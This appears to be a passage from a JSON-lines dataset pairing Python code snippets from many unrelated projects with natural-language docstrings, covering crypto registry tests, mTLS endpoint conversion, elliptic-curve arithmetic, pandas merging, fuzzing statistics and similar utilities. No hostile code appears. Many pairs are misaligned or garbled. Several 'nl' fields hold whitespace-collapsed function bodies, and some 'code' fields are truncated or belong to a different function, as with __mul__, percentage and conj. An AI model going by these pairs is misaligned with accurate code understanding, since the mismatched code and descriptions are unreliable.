observation seed for a given observation numberpath = (self.path/ \"files\"/ f\"num_observation_{num_observation}\"/ \"observation_seed.csv\")return int(pd.read_csv(path)[\"observation_seed\"][0])def _get_pyro_model(self,posterior: bool = True,num_observation: Optional[int] = None,observation: Optional[torch.Tensor] = None,) -> Callable:Get model function for use with Pyro"} {"code": "def protocol_id(self) -> PublicId:\n return cast(ProtocolConfig, self._configuration).protocol_specification_id\n", "nl": "Get protocol id.return cast(ProtocolConfig, self._configuration).public_id@propertydef protocol_specification_id(self) -> PublicId:Get protocol specification id."} {"code": "def test_build_softmax_score_converter_with_temperature(self):\n post_processing_config = post_processing_pb2.PostProcessing()\n text_format.Merge(post_processing_text_proto, post_processing_config)\n _, score_converter = post_processing_builder.build(post_processing_config)\n self.assertEqual(score_converter.__name__, 'softmax_with_logit_scale')\n", "nl": "post_processing_text_proto = score_converter: SOFTMAXlogit_scale: 2.0"} {"code": "def test_cannot_register_crypto_twice():\n aea.crypto.registries.register_crypto(\n \"some_crypto\", entry_point=\"path.to.module:SomeCrypto\"\n )\n with pytest.raises(\n AEAException,\n match=\"A module (.*) was specified for the item but was not found\",\n ):\n aea.crypto.registries.make_crypto(\"some_crypto\", module=\"some.module\")\n aea.crypto.registries.crypto_registry.specs.pop(\"some_crypto\")\n\n\nclass TestRegisterWithMalformedId:\n \"\"\"Test the error message when we try to register a crypto whose identifier is malformed.\"\"\"", "nl": "Test we cannot register a crypto twice.aea.crypto.registries.register_crypto(\"my_custom_crypto\", entry_point=\"tests.data.custom_crypto:CustomCrypto\")with pytest.raises(AEAException, match=\"Cannot re-register id: 'my_custom_crypto'\"):aea.crypto.registries.register_crypto(\"my_custom_crypto\", entry_point=\"tests.data.custom_crypto:CustomCrypto\")aea.crypto.registries.crypto_registry.specs.pop(\"my_custom_crypto\")@mock.patch(\"importlib.import_module\", side_effect=ImportError)def test_import_error(*mocks):Test import errors."} {"code": "def create_token_type_ids_from_sequences(self, token_ids_0, token_ids_1=None):\n sep = [self.sep_token_id]\n cls = [self.cls_token_id]\n if token_ids_1 is None:\n return len(cls + token_ids_0 + sep) * [0]\n return len(cls + token_ids_0 + sep) * [0] + len(token_ids_1 + sep) * [1]\n", "nl": "Creates a mask from the two sequences passed to be used in a sequence-pair classification task.A BERT sequence pair mask has the following format:0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1| first sequence | second sequenceif token_ids_1 is None, only returns the first portion of the mask (0's)."} {"code": "def _get_default_mtls_endpoint(api_endpoint):\n if not api_endpoint:\n return api_endpoint\n\n mtls_endpoint_re = re.compile(\n r\"(?P[^.]+)(?P\\.mtls)?(?P\\.sandbox)?(?P\\.googleapis\\.com)?\"\n )\n\n m = mtls_endpoint_re.match(api_endpoint)\n name, mtls, sandbox, googledomain = m.groups()\n if mtls or not googledomain:\n return api_endpoint\n\n if sandbox:\n return api_endpoint.replace(\n \"sandbox.googleapis.com\", \"mtls.sandbox.googleapis.com\"\n )\n\n return api_endpoint.replace(\".googleapis.com\", \".mtls.googleapis.com\")\n\n DEFAULT_ENDPOINT = \"vision.googleapis.com\"", "nl": "Converts api endpoint to mTLS endpoint.Convert \"*.sandbox.googleapis.com\" and \"*.googleapis.com\" to\"*.mtls.sandbox.googleapis.com\" and \"*.mtls.googleapis.com\" respectively.Args:api_endpoint (Optional[str]): the api endpoint to convert.Returns:str: converted mTLS api endpoint."} {"code": "def stat(self):\n return self._accessor.stat(self)\n", "nl": "Return the result of the stat() system call on this path, likeos.stat() does."} {"code": "def patch_optimizer(self):\n if self.optimizer is not None:\n self.optimizer = optim.patch_optimizer(self.optimizer, self.module)\n", "nl": "Patch PyTorch's native optimizer by replacing all involved in-place operations to allowgradient flow through the parameter update process."} {"code": "def cancel(self, user_id: int) -> None:\n log.trace(f\"Canceling the review of user {user_id}.\")\n self._review_scheduler.cancel(user_id)\n", "nl": "Cancels the review of the nominee with ID `user_id`.It's important to note that this applies only until reschedule_reviews is called again.To permanently cancel someone's review, either remove them from the pool, or use mark_reviewed."} {"code": "def get_logits(self, image):\n", "nl": "Args:image: 4D tensor of ``self.input_shape`` in ``self.data_format``Returns:Nx#class logits"} {"code": "def test_rfc2231_no_language_or_charset(self):\n msg = email.message_from_string(m)\n param = msg.get_param('NAME')\n self.assertFalse(isinstance(param, tuple))\n self.assertEqual(\n param,\n 'file____C__DOCUMENTS_20AND_20SETTINGS_FABIEN_LOCAL_20SETTINGS_TEMP_nsmail.htm')\n", "nl": "m = \\Content-Transfer-Encoding: 8bitContent-Disposition: inline; filename=\"file____C__DOCUMENTS_20AND_20SETTINGS_FABIEN_LOCAL_20SETTINGS_TEMP_nsmail.htm\"Content-Type: text/html; NAME*0=file____C__DOCUMENTS_20AND_20SETTINGS_FABIEN_LOCAL_20SETTINGS_TEM; NAME*1=P_nsmail.htm"} {"code": "def local_subtensor_of_dot(node):\n if not isinstance(node.op, Subtensor):\n return\n if (not node.inputs[0].owner or\n not isinstance(node.inputs[0].owner.op, T.Dot)):\n return\n if len(node.inputs[0].clients) > 1:\n return\n\n a = node.inputs[0].owner.inputs[0]\n b = node.inputs[0].owner.inputs[1]\n\n idx_list = get_idx_list(node.inputs, node.op.idx_list)\n\n num_a_indices = min(a.ndim - 1, len(idx_list))\n a_indices = idx_list[:num_a_indices]\n b_indices = idx_list[num_a_indices:]\n\n if b.ndim > 1 and len(b_indices) >= b.ndim - 1:\n b_indices = (b_indices[:b.ndim - 2] +\n (slice(None, None, None),) + b_indices[b.ndim - 2:])\n\n a_sub = a.__getitem__(tuple(a_indices))\n b_sub = b.__getitem__(tuple(b_indices)) if b_indices else b\n\n copy_stack_trace(node.outputs[0], [a_sub, b_sub])\n\n r = T.dot(a_sub, b_sub)\n copy_stack_trace([node.outputs[0], node.inputs[0]], r)\n\n return [r]\n\n\n@register_canonicalize\n@gof.local_optimizer([T.add])", "nl": "This optimization translates T.dot(A, B)[idxs] into T.dot(A[idxs_a], B[idxs_b]),where idxs_a and idxs_b are defined appropriately.idxs_a is the first A.ndim-1 entries of idxs,and idxs_b is the remaining entries of idxs (if any),modified to skip the second-to-last dimension of B(because dot sums over this dimension)."} {"code": "def ordered_keys(self):\n dealt_with = SortedDict()\n models = self.data.keys()\n while len(dealt_with) < len(models):\n found = False\n for model in models:\n if model in dealt_with:\n continue", "nl": "Returns the models in the order that they should be dealt with (i.e.models with no dependencies first)."} {"code": "default_block=BLOCK_TAG_LATEST):", "nl": "https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_callNEEDS TESTING"} {"code": "def __mul__(self, other):\n\n return self * other\n", "nl": "Multiply a point by an integer.def leftmost_bit(x):assert x > 0result = 1while result <= x:result = 2 * resultreturn result // 2e = otherif e == 0 or (self.__order and e % self.__order == 0):return INFINITYif self == INFINITY:return INFINITYif e < 0:return (-self) * (-e)# From X9.62 D.3.2:e3 = 3 * enegative_self = Point(self.__curve, self.__x, -self.__y, self.__order)i = leftmost_bit(e3) // 2result = self# print_(\"Multiplying %s by %d (e3 = %d):\" % (self, other, e3))while i > 1:result = result.double()if (e3 & i) != 0 and (e & i) == 0:result = result + selfif (e3 & i) == 0 and (e & i) != 0:result = result + negative_self# print_(\". . . i = %d, result = %s\" % ( i, result ))i = i // 2return resultdef __rmul__(self, other):Multiply a point by an integer."} {"code": "def render(self, treewalker, encoding=None):\n if encoding:\n return b\"\".join(list(self.serialize(treewalker, encoding)))\n else:\n return \"\".join(list(self.serialize(treewalker)))\n", "nl": "Serializes the stream from the treewalker into a string:arg treewalker: the treewalker to serialize:arg encoding: the string encoding to use:returns: the serialized treeExample:>>> from html5lib import parse, getTreeWalker>>> from html5lib.serializer import HTMLSerializer>>> token_stream = parse('Hi!')>>> walker = getTreeWalker('etree')>>> serializer = HTMLSerializer(omit_optional_tags=False)>>> serializer.render(walker(token_stream))'Hi!'"} {"code": "def percentage(self):\n\n widgets = ''.join(self._format_widgets())\n\n if self.left_justify: return widgets.ljust(self.term_width)\n else: return widgets.rjust(self.term_width)\n\n", "nl": "Returns the progress as a percentage.return self.currval * 100.0 / self.maxvalpercent = property(percentage)def _format_widgets(self):result = []expanding = []width = self.term_widthfor index, widget in enumerate(self.widgets):if isinstance(widget, widgets.WidgetHFill):result.append(widget)expanding.insert(0, index)else:widget = widgets.format_updatable(widget, self)result.append(widget)width -= len(widget)count = len(expanding)while count:portion = max(int(math.ceil(width * 1. / count)), 0)index = expanding.pop()count -= 1widget = result[index].update(self, portion)width -= len(widget)result[index] = widgetreturn resultdef _format_line(self):Joins the widgets and justifies the line."} {"code": "def MakeNFileURLsArgument(n):\n return CommandArgument('file',\n nargs=1,\n completer=CompleterType.LOCAL_OBJECT_OR_CANNED_ACL)\n\n @staticmethod", "nl": "Constructs an argument that takes N File URLs as parameters.return CommandArgument('file',nargs=n,completer=CompleterType.LOCAL_OBJECT)@staticmethoddef MakeFileURLOrCannedACLArgument():Constructs an argument that takes a File URL or a canned ACL."} {"code": "def __iter__(self):\n\n return bool(self.results)\n\n", "nl": "Allow for iterating across the object by stepping through collected results.for result in self.results:yield result@propertydef has_data(self):Indicator for if the object has collected data."} {"code": "def _variable(self, name, vars_set):\n if not re.match(r\"[_a-zA-Z][_a-zA-Z0-9]*$\", name):\n self._syntax_error(\"Not a valid name\", name)\n vars_set.add(name)\n", "nl": "Track that `name` is used as a variable.Adds the name to `vars_set`, a set of variable names.Raises an syntax error if `name` is not a valid name."} {"code": "def __init__(self, input_nc, output_nc, num_downs, ngf=64, norm_layer=nn.BatchNorm2d, use_dropout=False):\n super(UnetGenerator, self).__init__()\n unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer, innermost=True)\n for i in range(num_downs - 5):\n unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer, use_dropout=use_dropout)\n unet_block = UnetSkipConnectionBlock(ngf * 4, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer)\n unet_block = UnetSkipConnectionBlock(ngf * 2, ngf * 4, input_nc=None, submodule=unet_block, norm_layer=norm_layer)\n unet_block = UnetSkipConnectionBlock(ngf, ngf * 2, input_nc=None, submodule=unet_block, norm_layer=norm_layer)\n self.model = UnetSkipConnectionBlock(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True, norm_layer=norm_layer)\n", "nl": "Construct a Unet generatorParameters:input_nc (int) -- the number of channels in input imagesoutput_nc (int) -- the number of channels in output imagesnum_downs (int) -- the number of downsamplings in UNet. For example, # if |num_downs| == 7,image of size 128x128 will become of size 1x1 # at the bottleneckngf (int) -- the number of filters in the last conv layernorm_layer -- normalization layerWe construct the U-Net from the innermost layer to the outermost layer.It is a recursive process."} {"code": "def visit_docheading(self, node) -> List[Node]:\n nodelist = self.render_iterable(node.content_)\n return [nodes.emphasis(\"\", \"\", *nodelist)]\n", "nl": "Heading renderer.Renders embedded headlines as emphasized text. Different heading levelsare not supported."} {"code": "def predict_risk(self, features, times):\n\n return 1 - self.predict_survival(features, times)\n\nclass CounterfactualSurvivalModel:\n\n \"\"\"Universal interface to train multiple different counterfactual\n", "nl": "Predict risk of an outcome occurring within the specified time(s).Parameters-----------features : pd.DataFramea pandas dataframe with rows corresponding to individual samples andcolumns as covariates.times : float or lista float or list of the times at which to compute the risk.Returns---------np.arraynumpy array of the outcome risks at each time point in times."} {"code": "def test_arg_target(self):\n from ctypeslib import clang2py\n with patch('sys.stdin', StringIO('int i = DEBUG;')) as stdin, patch('sys.stdout', new=StringIO()) as fake_out:\n clang2py.main(['', '--clang-args=\"-DDEBUG=2\"', '-'])\n self.assertIn(\"\n self.assertIn(\"i = 2\", fake_out.getvalue())\n\n\nclass OrderingTest(ClangTest):\n", "nl": "run clang2py --target x86_64-Linux test/data/test-basic-types.c from ctypeslib import clang2pywith patch('sys.stdout', new=StringIO()) as fake_out:clang2py.main(['--target', 'x86_64-Linux', 'test/data/test-basic-types.c'])self.assertIn(\"# TARGET arch is: ['-target', 'x86_64-Linux']\", fake_out.getvalue())self.assertIn(\"_int = ctypes.c_int\", fake_out.getvalue())self.assertIn(\"_long = ctypes.c_int64\", fake_out.getvalue())clang2py.main(['--target', 'i586-Linux', 'test/data/test-basic-types.c'])self.assertIn(\"# TARGET arch is: ['-target', 'i586-Linux']\", fake_out.getvalue())self.assertIn(\"_int = ctypes.c_int\", fake_out.getvalue())self.assertIn(\"_long = ctypes.c_int32\", fake_out.getvalue())# TODO@unittest.skipdef test_arg_clang_args(self):run clang2py test/data/test-basic-types.c --clang-args=\"-DDEBUG=2\" "} {"code": "def _ec_key_set_public_key_affine_coordinates(self, ctx, x, y):\n\n if x < 0 or y < 0:\n raise ValueError(\n \"Invalid EC key. Both x and y must be non-negative.\"\n )\n\n res = self._lib.EC_KEY_set_public_key_affine_coordinates(\n ctx, self._int_to_bn(x), self._int_to_bn(y)\n )\n if res != 1:\n self._consume_errors()\n raise ValueError(\"Invalid EC key.\")\n\n return ctx\n", "nl": "Sets the public key point in the EC_KEY context to the affine x and yvalues."} {"code": "def prepare_http_request(self, method_type, params, **kwargs):\n prepared_request = self.session.prepare_request(\n requests.Request(method=method_type, **params)\n )\n return prepared_request\n", "nl": "Prepares the HTTP REQUEST and returns it.Args:method_type: The HTTP method typeparams: Additional parameters for the HTTP request.kwargs: Any extra keyword arguements passed into a client method.returns:prepared_request: An HTTP request object."} {"code": "def real(self):\n raise NotImplementedError\n\n @property\n @abstractmethod", "nl": "Retrieve the real component of this number.This should subclass Real."} {"code": "def test_explain_non_existent_code(self):\n command_line = [\"pool\", \"explain\", \"bogus\"]\n for prefix in [[], [\"--propagate\"]]:\n self.check_system_exit(prefix + command_line, _PARSE_ERROR)\n\n\nclass TestFilesystemSizeParsing(RunTestCase):\n \"\"\"\n", "nl": "Verify parser error on bogus pool code."} {"code": "def _compute(self, X: np.ndarray, **kwargs):\n f = super()._compute(X)\n for model in self.constraint_models:\n m, v = model.predict_marginalized_over_instances(X)\n s = np.sqrt(v)\n f *= norm.cdf(-m / s)\n return f\n\n\nclass USeMO(AbstractAcquisitionFunction):\n r\"\"\"Computes USeMO for multi-objective optimization\n", "nl": "Computes the MESMOC2 valueParameters----------X: np.ndarray(N, D), The input points where the acquisition functionshould be evaluated. The dimensionality of X is (N, D), with N asthe number of points to evaluate at and D is the number ofdimensions of one X.Returns-------np.ndarray(N,1)MESMOC2 of X"} {"code": "def test_nice_error_response_is_returned_for_404(harness):\n assert harness.client.GET(raise_immediately=False).code == 404\n", "nl": "harness.fs.www.mk(('index.html.spt', from pando import Response[---]raise Response(404)[---]))"} {"code": "def conj(z):\n\n\n", "nl": "Return the complex conjugate of `z`.@_scal_elemwisedef complex_from_polar(abs, angle):Return complex-valued tensor from polar coordinate specification."} {"code": "def test_applicationStartsWithConfiguredNumericIDs(self):\n uid = 1234\n gid = 4321\n self._applicationStartsWithConfiguredID(\n [\"--uid\", str(uid), \"--gid\", str(gid)], uid, gid)\n test_applicationStartsWithConfiguredNumericIDs.skip = setuidSkip\n\n", "nl": "L{postApplication} should change the UID and GID to the valuesspecified as numeric strings by the configuration after runningL{service.IService.privilegedStartService} and before runningL{service.IService.startService}."} {"code": "def test_standalone_executable(self):\n self.assertEqual(\n ['/build/Content Shell.dSYM'],\n stack_symbolizer.chrome_dsym_hints('/build/Content Shell.app'))\n self.assertEqual(\n ['/build/Content Shell.dSYM'],\n stack_symbolizer.chrome_dsym_hints('/build/Content Shell.framework'))\n", "nl": "Tests that standalone executable work as expected.self.assertEqual([], stack_symbolizer.chrome_dsym_hints('/build/binary'))def test_standalone_framework_or_app(self):Tests that standalone frame or app bundle work as expected."} {"code": "def _get_merge_keys(self):\n left_keys = []\n right_keys = []\n join_names = []\n right_drop = []\n left_drop = []\n\n left, right = self.left, self.right\n\n is_lkey = lambda x: is_array_like(x) and len(x) == len(left)\n is_rkey = lambda x: is_array_like(x) and len(x) == len(right)\n\n\n if _any(self.left_on) and _any(self.right_on):\n for lk, rk in zip(self.left_on, self.right_on):\n if is_lkey(lk):\n left_keys.append(lk)\n if is_rkey(rk):\n right_keys.append(rk)\n join_names.append(None)\n else:\n if rk is not None:\n right_keys.append(right._get_label_or_level_values(rk))\n join_names.append(rk)\n else:\n right_keys.append(right.index)\n join_names.append(right.index.name)\n else:\n if not is_rkey(rk):\n if rk is not None:\n right_keys.append(right._get_label_or_level_values(rk))\n else:\n right_keys.append(right.index)\n if lk is not None and lk == rk:\n if len(left) > 0:\n right_drop.append(rk)\n else:\n left_drop.append(lk)\n else:\n right_keys.append(rk)\n if lk is not None:\n left_keys.append(left._get_label_or_level_values(lk))\n join_names.append(lk)\n else:\n left_keys.append(left.index)\n join_names.append(left.index.name)\n elif _any(self.left_on):\n for k in self.left_on:\n if is_lkey(k):\n left_keys.append(k)\n join_names.append(None)\n else:\n left_keys.append(left._get_label_or_level_values(k))\n join_names.append(k)\n if isinstance(self.right.index, MultiIndex):\n right_keys = [\n lev._values.take(lev_codes)\n for lev, lev_codes in zip(\n self.right.index.levels, self.right.index.codes\n )\n ]\n else:\n right_keys = [self.right.index._values]\n elif _any(self.right_on):\n for k in self.right_on:\n if is_rkey(k):\n right_keys.append(k)\n join_names.append(None)\n else:\n right_keys.append(right._get_label_or_level_values(k))\n join_names.append(k)\n if isinstance(self.left.index, MultiIndex):\n left_keys = [\n lev._values.take(lev_codes)\n for lev, lev_codes in zip(\n self.left.index.levels, self.left.index.codes\n )\n ]\n else:\n left_keys = [self.left.index._values]\n\n if left_drop:\n self.left = self.left._drop_labels_or_levels(left_drop)\n\n if right_drop:\n self.right = self.right._drop_labels_or_levels(right_drop)\n\n return left_keys, right_keys, join_names\n", "nl": "Note: has side effects (copy/delete key columns)Parameters----------leftrightonReturns-------left_keys, right_keys"} {"code": "def get_communication_stats(self):\n payload = struct.pack(\n ' None:\n\n self.progress = value\n self.repaint()\n\n", "nl": "Update splash screen progress bar:param value: percent done, between 0 and 100"} {"code": "def not_(self):\n ret_obj = {}\n for k, v in self.obj.items():\n if not isinstance(v, dict):\n ret_obj[k] = {'$ne' : v }\n continue\n num_ops = len([x for x in v if x[0] == '$'])\n if num_ops != len(v) and num_ops != 0:\n raise BadQueryException('$ operator used in field name')\n\n if num_ops == 0:\n ret_obj[k] = {'$ne' : v }\n continue\n\n for op, value in v.items():", "nl": " Negates this instance's query expression using MongoDB's ``$not``operator**Example**: ``(User.name == 'Jeff').not_()``.. note:: Another usage is via an operator, but parens are neededto get past precedence issues: ``~ (User.name == 'Jeff')``"} {"code": "def ignore( self, other ):\n if isinstance(other, basestring):\n other = Suppress(other)\n\n if isinstance( other, Suppress ):\n if other not in self.ignoreExprs:\n self.ignoreExprs.append(other)\n else:\n self.ignoreExprs.append( Suppress( other.copy() ) )\n return self\n", "nl": "Define expression to be ignored (e.g., comments) while doing patternmatching; may be called repeatedly, to define multiple comment or otherignorable patterns.Example::patt = OneOrMore(Word(alphas))patt.parseString('ablaj /* comment */ lskjd') # -> ['ablaj']patt.ignore(cStyleComment)patt.parseString('ablaj /* comment */ lskjd') # -> ['ablaj', 'lskjd']"} {"code": "def get_keywords():\n\n", "nl": "Get the keywords needed to look up the version information.# these strings will be replaced by git during git-archive.# setup.py/versioneer.py will grep for the variable names, so they must# each be defined on a line of their own. _version.py will just call# get_keywords().git_refnames = \"$Format:%d$\"git_full = \"$Format:%H$\"git_date = \"$Format:%ci$\"keywords = {\"refnames\": git_refnames, \"full\": git_full, \"date\": git_date}return keywordsclass VersioneerConfig:Container for Versioneer configuration parameters."} {"code": "def get_query_start_end(self):\n request = self\n query_start_pattern = primitives.restler_static_string('?')\n query_end_str = ' HTTP'\n try:", "nl": " Get the start and end index of a request's query@param request: The target request@type request: Request@return: A tuple containing the start and end index of the query@rtype : Tuple(int, int) or (-1, -1) on failure"} {"code": "def resendPlayToken(self):\n return\n", "nl": "Resends our playToken to the game server while still loggedon. This is necessary when our playTaken has changedproperties in-game, for instance when we enable chat."} {"code": "def _inner_run_loop(self, results):\n while not result_queue.empty():\n result = result_queue.get()\n n = self._check_result_and_store_references(result, results, n, total_runs)\n return n\n", "nl": "Performs the inner loop of the run executionstart_run_idx = self._current_idxexpanded_by_postproc = Falseself._storage_service = self._traj.v_storage_serviceself._multiproc_wrapper = Noneif self._resumable:self._trigger_resume_snapshot()self._logger.info('\\n************************************************************\\n''STARTING runs of trajectory\\n`%s`.''\\n************************************************************\\n' %self._traj.v_name)while True:if self._multiproc:expanded_by_postproc = self._execute_multiprocessing(start_run_idx, results)else:# Create a generator to generate the tasksiterator = self._make_iterator(start_run_idx)n = start_run_idxtotal_runs = len(self._traj)# Signal start of progress calculationself._show_progress(n - 1, total_runs)for task in iterator:result = _sigint_handling_single_run(task)n = self._check_result_and_store_references(result, results,n, total_runs)repeat = Falseif self._postproc is not None:self._logger.info('Performing POSTPROCESSING')repeat, start_run_idx, new_runs = self._execute_postproc(results)if not repeat:breakelse:expanded_by_postproc = Trueself._logger.info('POSTPROCESSING expanded the trajectory and added %d new runs' %new_runs)# Do some finalizationself._traj._finalize(store_meta_data=True)self._logger.info('\\n************************************************************\\n''FINISHED all runs of trajectory\\n`%s`.''\\n************************************************************\\n' %self._traj.v_name)if self._resumable and self._delete_resume:# We remove all resume files if the simulation was successfully completedshutil.rmtree(self._resume_path)if expanded_by_postproc:config_name = 'environment.%s.postproc_expand' % self.nameif not self._traj.f_contains('config.' + config_name):self._traj.f_add_config(Parameter, config_name, True,comment='Added if trajectory was expanded ''by postprocessing.')def _get_results_from_queue(self, result_queue, results, n, total_runs):Extract all available results from the queue and returns the increased n"} {"code": "def test_create_dict_jobs(self):\n from pybossa.jobs import warm_up_stats, warn_old_project_owners", "nl": "Test JOB create_dict_jobs works.data = [{'id': 1, 'short_name': 'app'}]timeout = self.flask_app.config.get('TIMEOUT')jobs_gen = create_dict_jobs(data, 'function', timeout)jobs = []for j in jobs_gen:jobs.append(j)assert len(jobs) == 1assert jobs[0]['name'] == 'function', jobs[0]assert jobs[0]['timeout'] == timeout, jobs[0]@with_contextdef test_get_default_jobs(self):Test JOB get_default_jobs works."} {"code": "def resource_info(self, id: str) -> Any:\n raise NotImplementedError()\n", "nl": "Return DataDictonary with resource's info - #3414"} {"code": "def add_blueprint(self):\n try:\n selected = self.ui.known_blueprints.selectedItems()\n except AttributeError:\n return\n\n for item in selected:\n self.known_blueprints.remove(item.blueprint)\n\n self.ui.known_blueprints.clear()\n for blueprint in self.known_blueprints:\n self.ui.known_blueprints.addItem(BlueprintItem(blueprint))\n", "nl": "Add currently select blueprint in available list to known list.try:selected = self.ui.available_blueprints.selectedItems()except AttributeError:# nothing selectedreturnknown = [x[\"name\"] for x in self.known_blueprints]for blueprint in selected:# don't add more than one of each blueprintif blueprint.text() in known:continueself.known_blueprints.append(new_blueprint(blueprint.text(), {}))# regenerate the listself.ui.known_blueprints.clear()for blueprint in self.known_blueprints:self.ui.known_blueprints.addItem(BlueprintItem(blueprint))self.ui.known_blueprints.sortItems(0)self.ui.known_blueprints.setCurrentRow(0)def remove_blueprint(self):Remove currently selected blueprint in known list."} {"code": "def list_servers(self, request, tenant_id):", "nl": "Returns list of servers that were created by the mocks, with the givenname."} {"code": "def setup_class(cls):\n query = Query(\n constraints=[Constraint(\"foo\", ConstraintType(\"==\", 1))], model=None\n )\n\n search_services_request = OefSearchMessage(\n performative=OefSearchMessage.Performative.SEARCH_SERVICES,\n message_id=2,\n target=1,\n dialogue_reference=self.dialogues.new_self_initiated_dialogue_reference(),\n query=query,\n )\n search_services_request.to = OEF_LOCAL_NODE_SEARCH_ADDRESS\n\n\n search_services_request.sender = self.address_1\n envelope = Envelope(\n to=search_services_request.to,\n sender=search_services_request.sender,\n message=search_services_request,\n )\n with unittest.mock.patch.object(\n self.node, \"_handle_oef_message\", side_effect=self.node._handle_oef_message\n ) as mock_handle:\n with unittest.mock.patch.object(self.node.logger, \"warning\") as mock_logger:\n self.multiplexer.put(envelope)\n wait_for_condition(lambda: mock_handle.called, timeout=1.0)\n mock_logger.assert_any_call(\n AnyStringWith(\"Could not create dialogue for message=\")\n )\n\n @classmethod", "nl": "Set up the test.cls.node = LocalNode()cls.node.start()cls.address_1 = \"address_1\"cls.public_key_1 = \"public_key_1\"cls.connection = _make_local_connection(cls.address_1, cls.public_key_1, cls.node,)cls.multiplexer = Multiplexer([cls.connection])cls.multiplexer.connect()cls.dialogues = OefSearchDialogues(cls.address_1)@pytest.mark.asyncioasync def test_wrong_dialogue(self):Test that at the beginning, the search request returns an empty search result."} {"code": "def extract_audio_video_enabled(param: str, resp: str) -> List[bool]:\n formats = [(\"Extra\", 3), (\"Main\", 4)]\n if param == \"Video\":\n formats.append((\"Snap\", 3))\n\n if stream is not None:\n formats = [x for x in formats if x[0] == stream]\n if not formats:\n raise RuntimeError(f\"Bad stream specified: {stream}\")\n\n set_enable = str(enable).lower()\n cmds = [\"configManager.cgi?action=setConfig\"]\n cmds.extend(\n f\"Encode[{channel}].{fmt}Format[{i}].{param}Enable={set_enable}\"\n for fmt, num in formats\n for i in range(num)\n )\n return \"&\".join(cmds)", "nl": "Extract if any audio/video stream enabled from response.parts = [part.rpartition(\"=\")[2] == \"true\"for part in resp.split()if f\".{param}Enable=\" in part]return partsdef enable_audio_video_cmd(param: str, enable: bool, channel: int, *, stream: str) -> str:Return command to enable/disable all audio/video streams."} {"code": "def compute_result(self, *args):\n self.put(self.constant(0, PTR_TYPE), INOUT_REG)\n dst = self.constant(self.addr + 1, PTR_TYPE)\n self.jump(None, dst, jumpkind=JumpKind.Syscall)\n\nclass Instruction_OUT(Instruction):\n bin_format = bin(ord(\".\"))[2:].zfill(8)\n name = 'out'\n", "nl": "',': Get one byte from standard input.We use a \"syscall\" here, see simos_bf.py for the SimProcedures that get called.:return:"} {"code": "def act(self, course, env):\n changed = None\n current = courses.Course.get_course_availability_from_environ(env)\n new = self.availability\n hooks_to_run = self.ACT_HOOKS.get(self.milestone, {})\n\n if current != new:\n courses.Course.set_course_availability_into_environ(new, env)\n changed = self.ChangedByAct(current, new)\n logging.info('APPLIED %s from \"%s\" to \"%s\" at %s in %s: %s',\n self.kind(), current, new,\n availability_options.option_to_title(self.milestone),\n utils.get_ns_name_for_logging(course=course), self.logged)\n elif hooks_to_run:", "nl": "Updates course-wide availability as indicated by the trigger.Note: this act() method specifically does *not* deal with receivinga student_groups.StudentGroupDTO instead of a Course get_environ()dict as its \"settings\" parameter. Any student_groups subclass ofMilestoneTrigger is expected to supply its own act() method.Args:course: a Course passed through, unaltered, to ACT_HOOKS callbacks.env: a Course get_environ() dict containing settings that arepotentially updated *in-place* by act() and then passed toACT_HOOKS callbacks."} {"code": "def distro_release_info(self):\n return self._distro_release_info\n", "nl": "Return a dictionary containing key-value pairs for the informationitems from the distro release file data source of the OSdistribution.For details, see :func:`distro.distro_release_info`."} {"code": "def index_encoded_data(self, vector_files: List[str], buffer_size: int = 50000, remove_duplicates: bool = False):\n existing = set([])\n buffer = []\n for i, item in enumerate(iterate_encoded_files(vector_files)):\n db_id, doc_vector = item\n\n if remove_duplicates:\n if doc_vector.tostring() in existing:\n continue\n else:\n existing.add(doc_vector.tostring())\n buffer.append((db_id, doc_vector))\n if 0 < buffer_size == len(buffer):\n self.index.index_data(buffer)\n buffer = []\n self.index.index_data(buffer)\n logger.info('Data indexing completed.')\n", "nl": "Indexes encoded passages takes form a list of files:param vector_files: file names to get passages vectors from:param buffer_size: size of a buffer (amount of passages) to send for the indexing at once:return:"} {"code": "def test_performance_field_by_day(self):\n ctx = fuzzer_stats.FuzzerRunLogsContext('fuzzer1', ['blah'])\n performance_field = (\n fuzzer_stats.BuiltinFieldSpecifier('_PERFORMANCE_REPORT').create(ctx))\n\n data = performance_field.get(fuzzer_stats.QueryGroupBy.GROUP_BY_JOB, 'job2')\n self.assertEqual(data.value, 'Performance')\n expected_link = '/performance-report/fuzzer1/job2/latest'\n self.assertEqual(data.link, expected_link)", "nl": "Test performance field (group by day).ctx = fuzzer_stats.FuzzerRunLogsContext('fuzzer1', ['job1'])performance_field = (fuzzer_stats.BuiltinFieldSpecifier('_PERFORMANCE_REPORT').create(ctx))data = performance_field.get(fuzzer_stats.QueryGroupBy.GROUP_BY_DAY,datetime.date(2016, 11, 18))self.assertEqual(data.value, 'Performance')expected_link = '/performance-report/fuzzer1/job1/2016-11-18'self.assertEqual(data.link, expected_link)def test_performance_field_by_job(self):Test performance field (group by job)."} {"code": "def simple_date_range_series():", "nl": "Series with date range index and random data for test purposes."} {"code": "def score_jnd_dataset(data_loader,func):\n\n ds = []\n gts = []\n\n for (i,data) in enumerate(data_loader.load_data()):\n ds+=func(data['p0'],data['p1']).tolist()\n gts+=data['same'].cpu().numpy().flatten().tolist()\n\n sames = np.array(gts)\n ds = np.array(ds)\n\n sorted_inds = np.argsort(ds)\n ds_sorted = ds[sorted_inds]\n sames_sorted = sames[sorted_inds]\n\n TPs = np.cumsum(sames_sorted)\n FPs = np.cumsum(1-sames_sorted)\n FNs = np.sum(sames_sorted)-TPs\n\n precs = TPs/(TPs+FPs)\n recs = TPs/(TPs+FNs)\n score = util.voc_ap(recs,precs)\n\n return(score, dict(ds=ds,sames=sames))", "nl": " Function computes JND score using distance function 'func' in dataset 'data_loader'INPUTSdata_loader - CustomDatasetDataLoader object - contains a JNDDataset insidefunc - callable distance function - calling d=func(in0,in1) should take 2pytorch tensors with shape Nx3xXxY, and return numpy array of length NOUTPUTS[0] - JND score in [0,1], mAP score (area under precision-recall curve)[1] - dictionary with following elementsds - N array containing distances between two patches shown to human evaluatorsames - N array containing fraction of people who thought the two patches were identicalCONSTSN - number of test triplets in data_loader"} {"code": "def 